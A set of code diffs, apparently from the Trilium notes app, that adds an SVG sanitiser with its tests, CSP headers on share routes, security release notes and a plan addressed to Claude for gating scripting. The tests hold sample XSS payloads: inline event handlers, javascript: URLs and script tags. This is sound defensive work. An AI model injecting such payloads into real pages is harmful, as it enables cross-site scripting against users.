const result = utils.sanitizeSvg(maliciousSvg);
expect(result).toBe('<svg><rect width="100"/></svg>');
});
it("should remove onclick event handlers with single quotes", () => {
const maliciousSvg = "<svg><rect onclick='doEvil()' width=\"100\"/></svg>";
const result = utils.sanitizeSvg(maliciousSvg);
expect(result).toBe('<svg><rect width="100"/></svg>');
});
it("should remove onload event handlers", () => {
const maliciousSvg = '<svg onload="doEvil()"><rect width="100"/></svg>';
const result = utils.sanitizeSvg(maliciousSvg);
expect(result).toBe('<svg><rect width="100"/></svg>');
});
it("should remove onerror event handlers", () => {
const maliciousSvg = '<svg><image onerror="alert(1)" href="invalid.jpg"/></svg>';
const result = utils.sanitizeSvg(maliciousSvg);
expect(result).toBe('<svg><image href="invalid.jpg"/></svg>');
});
it("should remove onmouseover event handlers", () => {
const maliciousSvg = '<svg><rect onmouseover="alert(1)" width="100"/></svg>';
const result = utils.sanitizeSvg(maliciousSvg);
expect(result).toBe('<svg><rect width="100"/></svg>');
});
it("should remove event handlers without quotes", () => {
const maliciousSvg = '<svg><rect onclick=alert(1) width="100"/></svg>';
const result = utils.sanitizeSvg(maliciousSvg);
expect(result).toBe('<svg><rect width="100"/></svg>');
});
it("should replace javascript: URLs in href with #", () => {
const maliciousSvg = '<svg><a href="javascript:alert(1)"><text>Click me</text></a></svg>';
const result = utils.sanitizeSvg(maliciousSvg);
expect(result).toBe('<svg><a href="#"><text>Click me</text></a></svg>');
});
it("should replace javascript: URLs in xlink:href with #", () => {
const maliciousSvg = '<svg><a xlink:href="javascript:alert(1)"><text>Click me</text></a></svg>';
const result = utils.sanitizeSvg(maliciousSvg);
expect(result).toBe('<svg><a xlink:href="#"><text>Click me</text></a></svg>');
});
it("should preserve valid SVG content", () => {
const validSvg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><rect x="10" y="10" width="80" height="80" fill="blue"/><circle cx="50" cy="50" r="30" fill="red"/></svg>';
const result = utils.sanitizeSvg(validSvg);
expect(result).toBe(validSvg);
});
it("should preserve valid href URLs", () => {
const validSvg = '<svg><a href="https://example.com"><text>Link</text></a></svg>';
const result = utils.sanitizeSvg(validSvg);
expect(result).toBe(validSvg);
});
it("should handle multiple malicious elements", () => {
const maliciousSvg = '<svg onload="evil()"><script>evil()</script><rect onclick="bad()" width="100"/><a href="javascript:attack()">link</a></svg>';
const result = utils.sanitizeSvg(maliciousSvg);
expect(result).toBe('<svg><rect width="100"/><a href="#">link</a></svg>');
});
it("should handle empty SVG", () => {
const emptySvg = '<svg></svg>';
const result = utils.sanitizeSvg(emptySvg);
expect(result).toBe('<svg></svg>');
});
it("should be case insensitive for script tags", () => {
const maliciousSvg = '<svg><SCRIPT>alert(1)</SCRIPT><Script>alert(2)</Script></svg>';
const result = utils.sanitizeSvg(maliciousSvg);
expect(result).toBe('<svg></svg>');
});
it("should be case insensitive for event handlers", () => {
const maliciousSvg = '<svg><rect ONCLICK="alert(1)" width="100"/></svg>';
const result = utils.sanitizeSvg(maliciousSvg);
expect(result).toBe('<svg><rect width="100"/></svg>');
});
});

View File

@@ -119,6 +119,22 @@ export function sanitizeSqlIdentifier(str: string) {
return str.replace(/[^A-Za-z0-9_]/g, "");
}
/**
* Sanitize SVG to remove potentially dangerous elements and attributes.
* This prevents XSS via script injection in SVG content.
*/
export function sanitizeSvg(svg: string): string {
return svg
// Remove script elements
.replace(/<script[\s\S]*?<\/script>/gi, '')
// Remove on* event handlers (onclick, onload, onerror, etc.)
.replace(/\s+on\w+\s*=\s*["'][^"']*["']/gi, '')
.replace(/\s+on\w+\s*=\s*[^\s>]+/gi, '')
// Remove javascript: URLs
.replace(/href\s*=\s*["']javascript:[^"']*["']/gi, 'href="#"')
.replace(/xlink:href\s*=\s*["']javascript:[^"']*["']/gi, 'xlink:href="#"');
}
export const escapeHtml = escape;
export const unescapeHtml = unescape;
@@ -560,6 +576,7 @@ export default {
replaceAll,
safeExtractMessageAndStackFromError,
sanitizeSqlIdentifier,
sanitizeSvg,
stripTags,
slugify,
timeLimit,

View File

@@ -15,6 +15,7 @@ import BNote from "../becca/entities/bnote.js";
import assetPath, { assetUrlFragment } from "../services/asset_path.js";
import { generateCss, getIconPacks, MIME_TO_EXTENSION_MAPPINGS, ProcessedIconPack } from "../services/icon_packs.js";
import log from "../services/log.js";
import { isScriptingEnabled } from "../services/scripting_guard.js";
import options from "../services/options.js";
import utils, { getResourceDir, isDev, safeExtractMessageAndStackFromError } from "../services/utils.js";
import SAttachment from "./shaca/entities/sattachment.js";
@@ -194,11 +195,13 @@ function renderNoteContentInternal(note: SNote | BNote, renderArgs: RenderArgs)
t,
isDev,
utils,
sanitizeUrl,
...renderArgs,
};
// Check if the user has their own template.
if (note.hasRelation("shareTemplate")) {
// Skip user-provided EJS templates when scripting is disabled since EJS can execute arbitrary JS.
if (note.hasRelation("shareTemplate") && isScriptingEnabled()) {
// Get the template note and content
const templateId = note.getRelation("shareTemplate")?.value;
const templateNote = templateId && shaca.getNote(templateId);
@@ -303,7 +306,9 @@ function renderIndex(result: Result) {
for (const childNote of rootNote.getChildNotes()) {
const isExternalLink = childNote.hasLabel("shareExternalLink");
const href = isExternalLink ? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
const rawHref = isExternalLink ? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
// Sanitize href to prevent javascript: / data: URI injection (CWE-79).
const href = isExternalLink ? escapeHtml(sanitizeUrl(rawHref ?? "")) : escapeHtml(rawHref ?? "");
const target = isExternalLink ? `target="_blank" rel="noopener noreferrer"` : "";
result.content += `<li><a class="${childNote.type}" href="${href}" ${target}>${childNote.escapedTitle}</a></li>`;
}
@@ -407,7 +412,10 @@ function handleAttachmentLink(linkEl: HTMLElement, href: string, getNote: GetNot
const linkedNote = getNote(noteId);
if (linkedNote) {
const isExternalLink = linkedNote.hasLabel("shareExternalLink");
const href = isExternalLink ? linkedNote.getLabelValue("shareExternalLink") : `./${linkedNote.shareId}`;
// Sanitize external links to prevent javascript: / data: URI injection (CWE-79).
const href = isExternalLink
? sanitizeUrl(linkedNote.getLabelValue("shareExternalLink") ?? "")
: `./${linkedNote.shareId}`;
if (href) {
linkEl.setAttribute("href", href);
}

View File

@@ -3,6 +3,7 @@ import supertest from "supertest";
import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
import { safeExtractMessageAndStackFromError } from "../services/utils.js";
import config from "../services/config.js";
let app: Application;
@@ -40,12 +41,19 @@ describe("Share API test", () => {
});
it("renders custom share template", async () => {
const response = await supertest(app)
.get("/share/pQvNLLoHcMwH")
.expect(200);
expect(cannotSetHeadersCount).toBe(0);
expect(response.text).toContain("Content Start");
expect(response.text).toContain("Content End");
// Custom EJS templates require scripting to be enabled
const originalEnabled = config.Scripting.enabled;
config.Scripting.enabled = true;
try {
const response = await supertest(app)
.get("/share/pQvNLLoHcMwH")
.expect(200);
expect(cannotSetHeadersCount).toBe(0);
expect(response.text).toContain("Content Start");
expect(response.text).toContain("Content End");
} finally {
config.Scripting.enabled = originalEnabled;
}
});
});

View File

@@ -1,15 +1,14 @@
import type { NextFunction, Request, Response, Router } from "express";
import safeCompare from "safe-compare";
import type { NextFunction, Request, Response, Router } from "express";
import SearchContext from "../services/search/search_context.js";
import searchService from "../services/search/services/search.js";
import utils, { sanitizeSvg } from "../services/utils.js";
import { getDefaultTemplatePath, renderNoteContent } from "./content_renderer.js";
import type SAttachment from "./shaca/entities/sattachment.js";
import type SNote from "./shaca/entities/snote.js";
import shaca from "./shaca/shaca.js";
import shacaLoader from "./shaca/shaca_loader.js";
import searchService from "../services/search/services/search.js";
import SearchContext from "../services/search/search_context.js";
import type SNote from "./shaca/entities/snote.js";
import type SAttachment from "./shaca/entities/sattachment.js";
import { getDefaultTemplatePath, renderNoteContent } from "./content_renderer.js";
import utils from "../services/utils.js";
import { isShareDbReady } from "./sql.js";
function assertShareDbReady(_req: Request, res: Response, next: NextFunction) {
@@ -104,17 +103,18 @@ function renderImageAttachment(image: SNote, res: Response, attachmentName: stri
&& possibleSvgContent !== null
&& "svg" in possibleSvgContent
&& typeof possibleSvgContent.svg === "string")
? possibleSvgContent.svg
: null;
? possibleSvgContent.svg
: null;
if (contentSvg) {
svgString = contentSvg;
}
}
const svg = svgString;
const svg = sanitizeSvg(svgString);
res.set("Content-Type", "image/svg+xml");
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.set("Content-Security-Policy", "script-src 'none'");
res.send(svg);
}
@@ -145,6 +145,13 @@ function register(router: Router) {
addNoIndexHeader(note, res);
if (note.isLabelTruthy("shareRaw") || typeof req.query.raw !== "undefined") {
// For HTML and SVG content, add restrictive Content-Security-Policy
// to prevent stored XSS via script execution (CWE-79).
if (note.mime === "text/html" || note.mime === "image/svg+xml") {
res.setHeader("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; img-src * data:; font-src * data:");
res.setHeader("X-Content-Type-Options", "nosniff");
}
res.setHeader("Content-Type", note.mime).send(note.getContent());
return;
@@ -224,10 +231,17 @@ function register(router: Router) {
}
if (image.type === "image") {
// normal image
res.set("Content-Type", image.mime);
addNoIndexHeader(image, res);
res.send(image.getContent());
if (image.mime === "image/svg+xml") {
// SVG images require sanitization to prevent stored XSS
const content = image.getContent();
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
setSvgHeaders(res);
res.send(sanitized);
} else {
res.set("Content-Type", image.mime);
res.send(image.getContent());
}
} else if (image.type === "canvas") {
renderImageAttachment(image, res, "canvas-export.svg");
} else if (image.type === "mermaid") {
@@ -250,9 +264,17 @@ function register(router: Router) {
}
if (attachment.role === "image") {
res.set("Content-Type", attachment.mime);
addNoIndexHeader(attachment.note, res);
res.send(attachment.getContent());
if (attachment.mime === "image/svg+xml") {
// SVG attachments require sanitization to prevent stored XSS
const content = attachment.getContent();
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
setSvgHeaders(res);
res.send(sanitized);
} else {
res.set("Content-Type", attachment.mime);
res.send(attachment.getContent());
}
} else {
res.status(400).json({ message: "Requested attachment is not a shareable image" });
}
@@ -320,7 +342,7 @@ function register(router: Router) {
return;
}
const searchContext = new SearchContext({ ancestorNoteId: ancestorNoteId });
const searchContext = new SearchContext({ ancestorNoteId });
const searchResults = searchService.findResultsWithQuery(search, searchContext);
const filteredResults = searchResults.map((sr) => {
const fullNote = shaca.notes[sr.noteId];

View File

@@ -12,6 +12,7 @@ import host from "./services/host.js";
import buildApp from "./app.js";
import type { Express } from "express";
import { getDbSize } from "./services/sql_init.js";
import { isScriptingEnabled } from "./services/scripting_guard.js";
const MINIMUM_NODE_VERSION = "20.0.0";
@@ -81,6 +82,14 @@ async function displayStartupMessage() {
log.info(`💻 CPU: ${cpuModel} (${cpuInfos.length}-core @ ${cpuInfos[0].speed} Mhz)`);
}
log.info(`💾 DB size: ${formatSize(getDbSize() * 1024)}`);
if (isScriptingEnabled()) {
log.info("WARNING: Script execution is ENABLED. Scripts have full server access including " +
"filesystem, network, and OS commands. Only enable in trusted environments.");
} else {
log.info("Script execution is DISABLED. Set [Scripting] enabled=true in config.ini to enable.");
}
log.info("");
}

View File

@@ -10,7 +10,6 @@
},
"dependencies": {
"i18next": "26.0.3",
"i18next-http-backend": "3.0.4",
"preact": "10.29.0",
"preact-iso": "2.11.1",
"preact-render-to-string": "6.6.7",

View File

@@ -1,6 +1,6 @@
{
"formatVersion": 2,
"appVersion": "0.102.0",
"appVersion": "0.102.1",
"files": [
{
"isClone": false,
@@ -61,6 +61,32 @@
"attachments": [],
"dirFileName": "Release Notes",
"children": [
{
"isClone": false,
"noteId": "ZdWJsMQvY1fo",
"notePath": [
"hD3V4hiu2VW4",
"ZdWJsMQvY1fo"
],
"title": "v0.102.2",
"notePosition": 10,
"prefix": null,
"isExpanded": false,
"type": "text",
"mime": "text/html",
"attributes": [
{
"type": "relation",
"name": "template",
"value": "wyurrlcDl416",
"isInheritable": false,
"position": 60
}
],
"format": "markdown",
"dataFileName": "v0.102.2.md",
"attachments": []
},
{
"isClone": false,
"noteId": "4FTGCuCiG7s7",
@@ -69,7 +95,7 @@
"4FTGCuCiG7s7"
],
"title": "v0.102.1",
"notePosition": 10,
"notePosition": 20,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -95,7 +121,7 @@
"d582eD4RY4OM"
],
"title": "v0.102.0",
"notePosition": 20,
"notePosition": 30,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -121,7 +147,7 @@
"IlBzLeN3MJhw"
],
"title": "v0.101.3",
"notePosition": 30,
"notePosition": 40,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -147,7 +173,7 @@
"vcBthaXcwAm6"
],
"title": "v0.101.2",
"notePosition": 40,
"notePosition": 50,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -173,7 +199,7 @@
"AgUcrU9nFXuW"
],
"title": "v0.101.1",
"notePosition": 50,
"notePosition": 60,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -199,7 +225,7 @@
"uYwlZ594eyJu"
],
"title": "v0.101.0",
"notePosition": 60,
"notePosition": 70,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -225,7 +251,7 @@
"iPGKEk7pwJXK"
],
"title": "v0.100.0",
"notePosition": 70,
"notePosition": 80,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -251,7 +277,7 @@
"7HKMTjmopLcM"
],
"title": "v0.99.5",
"notePosition": 80,
"notePosition": 90,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -277,7 +303,7 @@
"RMBaNYPsRpIr"
],
"title": "v0.99.4",
"notePosition": 90,
"notePosition": 100,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -303,7 +329,7 @@
"yuroLztFfpu5"
],
"title": "v0.99.3",
"notePosition": 100,
"notePosition": 110,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -329,7 +355,7 @@
"z207sehwMJ6C"
],
"title": "v0.99.2",
"notePosition": 110,
"notePosition": 120,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -355,7 +381,7 @@
"WGQsXq2jNyTi"
],
"title": "v0.99.1",
"notePosition": 120,
"notePosition": 130,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -381,7 +407,7 @@
"cyw2Yue9vXf3"
],
"title": "v0.99.0",
"notePosition": 130,
"notePosition": 140,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -407,7 +433,7 @@
"QOJwjruOUr4k"
],
"title": "v0.98.1",
"notePosition": 140,
"notePosition": 150,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -433,7 +459,7 @@
"PLUoryywi0BC"
],
"title": "v0.98.0",
"notePosition": 150,
"notePosition": 160,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -459,7 +485,7 @@
"lvOuiWsLDv8F"
],
"title": "v0.97.2",
"notePosition": 160,
"notePosition": 170,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -485,7 +511,7 @@
"OtFZ6Nd9vM3n"
],
"title": "v0.97.1",
"notePosition": 170,
"notePosition": 180,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -511,7 +537,7 @@
"SJZ5PwfzHSQ1"
],
"title": "v0.97.0",
"notePosition": 180,
"notePosition": 190,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -537,7 +563,7 @@
"mYXFde3LuNR7"
],
"title": "v0.96.0",
"notePosition": 190,
"notePosition": 200,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -563,7 +589,7 @@
"jthwbL0FdaeU"
],
"title": "v0.95.0",
"notePosition": 200,
"notePosition": 210,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -589,7 +615,7 @@
"7HGYsJbLuhnv"
],
"title": "v0.94.1",
"notePosition": 210,
"notePosition": 220,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -615,7 +641,7 @@
"Neq53ujRGBqv"
],
"title": "v0.94.0",
"notePosition": 220,
"notePosition": 230,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -641,7 +667,7 @@
"VN3xnce1vLkX"
],
"title": "v0.93.0",
"notePosition": 230,
"notePosition": 240,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -659,7 +685,7 @@
"WRaBfQqPr6qo"
],
"title": "v0.92.7",
"notePosition": 240,
"notePosition": 250,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -685,7 +711,7 @@
"a2rwfKNmUFU1"
],
"title": "v0.92.6",
"notePosition": 250,
"notePosition": 260,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -703,7 +729,7 @@
"fEJ8qErr0BKL"
],
"title": "v0.92.5-beta",
"notePosition": 260,
"notePosition": 270,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -721,7 +747,7 @@
"kkkZQQGSXjwy"
],
"title": "v0.92.4",
"notePosition": 270,
"notePosition": 280,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -739,7 +765,7 @@
"vAroNixiezaH"
],
"title": "v0.92.3-beta",
"notePosition": 280,
"notePosition": 290,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -757,7 +783,7 @@
"mHEq1wxAKNZd"
],
"title": "v0.92.2-beta",
"notePosition": 290,
"notePosition": 300,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -775,7 +801,7 @@
"IykjoAmBpc61"
],
"title": "v0.92.1-beta",
"notePosition": 300,
"notePosition": 310,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -793,7 +819,7 @@
"dq2AJ9vSBX4Y"
],
"title": "v0.92.0-beta",
"notePosition": 310,
"notePosition": 320,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -811,7 +837,7 @@
"3a8aMe4jz4yM"
],
"title": "v0.91.6",
"notePosition": 320,
"notePosition": 330,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -829,7 +855,7 @@
"8djQjkiDGESe"
],
"title": "v0.91.5",
"notePosition": 330,
"notePosition": 340,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -847,7 +873,7 @@
"OylxVoVJqNmr"
],
"title": "v0.91.4-beta",
"notePosition": 340,
"notePosition": 350,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -865,7 +891,7 @@
"tANGQDvnyhrj"
],
"title": "v0.91.3-beta",
"notePosition": 350,
"notePosition": 360,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -883,7 +909,7 @@
"hMoBfwSoj1SC"
],
"title": "v0.91.2-beta",
"notePosition": 360,
"notePosition": 370,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -901,7 +927,7 @@
"a2XMSKROCl9z"
],
"title": "v0.91.1-beta",
"notePosition": 370,
"notePosition": 380,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -919,7 +945,7 @@
"yqXFvWbLkuMD"
],
"title": "v0.90.12",
"notePosition": 380,
"notePosition": 390,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -937,7 +963,7 @@
"veS7pg311yJP"
],
"title": "v0.90.11-beta",
"notePosition": 390,
"notePosition": 400,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -955,7 +981,7 @@
"sq5W9TQxRqMq"
],
"title": "v0.90.10-beta",
"notePosition": 400,
"notePosition": 410,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -973,7 +999,7 @@
"yFEGVCUM9tPx"
],
"title": "v0.90.9-beta",
"notePosition": 410,
"notePosition": 420,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -991,7 +1017,7 @@
"o4wAGqOQuJtV"
],
"title": "v0.90.8",
"notePosition": 420,
"notePosition": 430,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -1024,7 +1050,7 @@
"i4A5g9iOg9I0"
],
"title": "v0.90.7-beta",
"notePosition": 430,
"notePosition": 440,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -1042,7 +1068,7 @@
"ThNf2GaKgXUs"
],
"title": "v0.90.6-beta",
"notePosition": 440,
"notePosition": 450,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -1060,7 +1086,7 @@
"G4PAi554kQUr"
],
"title": "v0.90.5-beta",
"notePosition": 450,
"notePosition": 460,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -1087,7 +1113,7 @@
"zATRobGRCmBn"
],
"title": "v0.90.4",
"notePosition": 460,
"notePosition": 470,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -1105,7 +1131,7 @@
"sCDLf8IKn3Iz"
],
"title": "v0.90.3",
"notePosition": 470,
"notePosition": 480,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -1123,7 +1149,7 @@
"VqqyBu4AuTjC"
],
"title": "v0.90.2-beta",
"notePosition": 480,
"notePosition": 490,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -1141,7 +1167,7 @@
"RX3Nl7wInLsA"
],
"title": "v0.90.1-beta",
"notePosition": 490,
"notePosition": 500,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -1159,7 +1185,7 @@
"GyueACukPWjk"
],
"title": "v0.90.0-beta",
"notePosition": 500,
"notePosition": 510,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -1177,7 +1203,7 @@
"kzjHexDTTeVB"
],
"title": "v0.48",
"notePosition": 510,
"notePosition": 520,
"prefix": null,
"isExpanded": false,
"type": "text",
@@ -1244,7 +1270,7 @@
"wyurrlcDl416"
],
"title": "Release Template",
"notePosition": 520,
"notePosition": 530,
"prefix": null,
"isExpanded": false,
"type": "text",

View File

@@ -32,4 +32,8 @@
## 🛠️ Technical updates
* \[…\]
## 🔒️ Security improvements
* \[…\]

View File

@@ -0,0 +1,37 @@
# v0.102.2
> [!IMPORTANT]
> **This release contains important security fixes. All users are strongly encouraged to update immediately.**
>
> Several vulnerabilities affecting content handling and the desktop application have been addressed. We recommend upgrading before the next scheduled release to ensure your installation is protected.
> [!NOTE]
> If you enjoyed this release, consider showing a token of appreciation by:
>
> * Pressing the “Star” button on [GitHub](https://github.com/TriliumNext/Trilium) (top-right).
> * Considering a one-time or recurrent donation to the [lead developer](https://github.com/eliandoran) via [GitHub Sponsors](https://github.com/sponsors/eliandoran) or [PayPal](https://paypal.me/eliandoran).
> * If you are interested in an [official mobile application](https://oss.issuehunt.io/r/TriliumNext/Trilium/issues/7447)  ([#7447](https://github.com/TriliumNext/Trilium/issues/7447)) or [multi-user support](https://oss.issuehunt.io/r/TriliumNext/Trilium/issues/4956) ([#4956](https://github.com/TriliumNext/Trilium/issues/4956)), consider offering financial support via IssueHunt (see links).
## 🔒️ Security improvements
* Content Handling
* Improved request handling for SVG content in share routes
* Improved request handling for SVG content in the main API
* Enhanced content rendering in the Mermaid diagram editor
* Fixed toast notifications to properly escape content
* Added validation for the `docName` attribute in the document renderer
* Marked `docName` as a sensitive attribute in the commons module
* Desktop Application (Electron)
* Added Electron fuses to harden the desktop application against external abuse
* Improved application integrity checks
* API & Import
* Added MIME type validation for image uploads via ETAPI
* Aligned attachment upload validation with note upload validation
* Import no longer preserves named note IDs to prevent potential conflicts
* Authentication
* OpenID Connect now uses a more secure random number generator
We've also updated our SECURITY.MD file to detail our security practices and how to report vulnerabilities.

View File

@@ -0,0 +1,590 @@
# RCE Hardening - Defense in Depth Implementation Plan
> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task.
**Goal:** Prevent instant RCE from authenticated access by gating scripting behind a config flag, restricting `require()` to safe modules, adding auth to unauthenticated execution paths, and filtering dangerous attributes from sync.
**Architecture:** Add a `[Scripting]` section to config.ini with `enabled=false` default for server mode. Gate all script execution entry points behind this flag. Restrict `ScriptContext.require()` to a whitelist. Add auth middleware to `/custom/*`. Filter dangerous attributes during sync (same pattern as import's `safeImport`).
**Tech Stack:** TypeScript, Express middleware, Node.js `config.ini` system
---
## Task 1: Add `[Scripting]` config section
**Files:**
- Modify: `apps/server/src/services/config.ts` (add Scripting section to TriliumConfig, configMapping, and config object)
- Modify: `apps/server/src/assets/config-sample.ini` (add [Scripting] section)
**Step 1: Add Scripting section to TriliumConfig interface**
In `config.ts`, add to the `TriliumConfig` interface after `Logging`:
```typescript
/** Scripting and code execution configuration */
Scripting: {
/** Whether backend/frontend script execution is enabled (default: false for server, true for desktop) */
enabled: boolean;
/** Whether the SQL console is accessible (default: false) */
sqlConsoleEnabled: boolean;
};
```
**Step 2: Add configMapping entries**
Add after `Logging` in `configMapping`:
```typescript
Scripting: {
enabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_ENABLED',
iniGetter: () => getIniSection("Scripting")?.enabled,
defaultValue: false,
transformer: transformBoolean
},
sqlConsoleEnabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_SQLCONSOLEENABLED',
aliasEnvVars: ['TRILIUM_SCRIPTING_SQL_CONSOLE_ENABLED'],
iniGetter: () => getIniSection("Scripting")?.sqlConsoleEnabled,
defaultValue: false,
transformer: transformBoolean
}
}
```
**Step 3: Add to config object**
```typescript
Scripting: {
enabled: getConfigValue(configMapping.Scripting.enabled),
sqlConsoleEnabled: getConfigValue(configMapping.Scripting.sqlConsoleEnabled)
}
```
**Step 4: Update config-sample.ini**
Add at the bottom:
```ini
[Scripting]
# Enable backend/frontend script execution. WARNING: Scripts have full server access including
# filesystem, network, and OS commands via require('child_process'). Only enable if you trust
# all users with admin-level access to the server.
# Desktop builds override this to true automatically.
enabled=false
# Enable the SQL console (allows raw SQL execution against the database)
sqlConsoleEnabled=false
```
**Step 5: Commit**
```
feat(security): add [Scripting] config section with enabled=false default
```
---
## Task 2: Create scripting guard utility
**Files:**
- Create: `apps/server/src/services/scripting_guard.ts`
- Create: `apps/server/src/services/scripting_guard.spec.ts`
**Step 1: Write tests**
```typescript
// scripting_guard.spec.ts
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
describe("ScriptingGuard", () => {
it("should throw when scripting is disabled", async () => {
vi.doMock("./config.js", () => ({
default: { Scripting: { enabled: false, sqlConsoleEnabled: false } }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).toThrow("disabled");
});
it("should not throw when scripting is enabled", async () => {
vi.doMock("./config.js", () => ({
default: { Scripting: { enabled: true, sqlConsoleEnabled: false } }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).not.toThrow();
});
it("should throw for SQL console when disabled", async () => {
vi.doMock("./config.js", () => ({
default: { Scripting: { enabled: true, sqlConsoleEnabled: false } }
}));
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
expect(() => assertSqlConsoleEnabled()).toThrow("disabled");
});
});
```
**Step 2: Implement**
```typescript
// scripting_guard.ts
import config from "./config.js";
import { isElectron } from "./utils.js";
/**
* Throws if scripting is disabled. Desktop (Electron) always allows scripting.
*/
export function assertScriptingEnabled(): void {
if (isElectron || config.Scripting.enabled) {
return;
}
throw new Error(
"Script execution is disabled. Set [Scripting] enabled=true in config.ini or " +
"TRILIUM_SCRIPTING_ENABLED=true to enable. WARNING: Scripts have full server access."
);
}
export function assertSqlConsoleEnabled(): void {
if (isElectron || config.Scripting.sqlConsoleEnabled) {
return;
}
throw new Error(
"SQL console is disabled. Set [Scripting] sqlConsoleEnabled=true in config.ini to enable."
);
}
export function isScriptingEnabled(): boolean {
return isElectron || config.Scripting.enabled;
}
```
**Step 3: Run tests, verify pass**
**Step 4: Commit**
```
feat(security): add scripting guard utility
```
---
## Task 3: Gate script execution endpoints
**Files:**
- Modify: `apps/server/src/routes/api/script.ts` (add guard to exec, run, bundle endpoints)
- Modify: `apps/server/src/routes/api/sql.ts` (add guard to execute endpoint)
- Modify: `apps/server/src/routes/api/bulk_action.ts` (add guard to execute)
**Step 1: Gate `POST /api/script/exec` and `POST /api/script/run/:noteId`**
In `apps/server/src/routes/api/script.ts`, add at the top of `exec()` and `run()`:
```typescript
import { assertScriptingEnabled } from "../../services/scripting_guard.js";
async function exec(req: Request) {
assertScriptingEnabled();
// ... existing code
}
function run(req: Request) {
assertScriptingEnabled();
// ... existing code
}
```
**Step 2: Gate SQL console**
In `apps/server/src/routes/api/sql.ts`, add at the top of `execute()`:
```typescript
import { assertSqlConsoleEnabled } from "../../services/scripting_guard.js";
function execute(req: Request) {
assertSqlConsoleEnabled();
// ... existing code
}
```
**Step 3: Gate bulk action executeScript**
In `apps/server/src/services/bulk_actions.ts`, add guard inside the `executeScript` handler:
```typescript
import { assertScriptingEnabled } from "./scripting_guard.js";
executeScript: (action, note) => {
assertScriptingEnabled();
// ... existing code
}
```
**Step 4: Verify TypeScript compiles, run tests**
**Step 5: Commit**
```
feat(security): gate script/SQL execution behind Scripting.enabled config
```
---
## Task 4: Gate scheduler and event handler script execution
**Files:**
- Modify: `apps/server/src/services/scheduler.ts` (check isScriptingEnabled before running)
- Modify: `apps/server/src/services/handlers.ts` (check isScriptingEnabled in runAttachedRelations)
- Modify: `apps/server/src/routes/api/script.ts` (gate startup/widget bundle endpoints)
**Step 1: Gate scheduler**
In `scheduler.ts`, the `TRILIUM_SAFE_MODE` check already exists. Augment it with scripting check:
```typescript
import { isScriptingEnabled } from "./scripting_guard.js";
sqlInit.dbReady.then(() => {
if (!process.env.TRILIUM_SAFE_MODE && isScriptingEnabled()) {
setTimeout(cls.wrap(() => runNotesWithLabel("backendStartup")), 10 * 1000);
setInterval(cls.wrap(() => runNotesWithLabel("hourly")), 3600 * 1000);
setInterval(cls.wrap(() => runNotesWithLabel("daily")), 24 * 3600 * 1000);
// ...
}
});
```
**Step 2: Gate event handlers**
In `handlers.ts`, wrap `runAttachedRelations` with a scripting check:
```typescript
import { isScriptingEnabled } from "./scripting_guard.js";
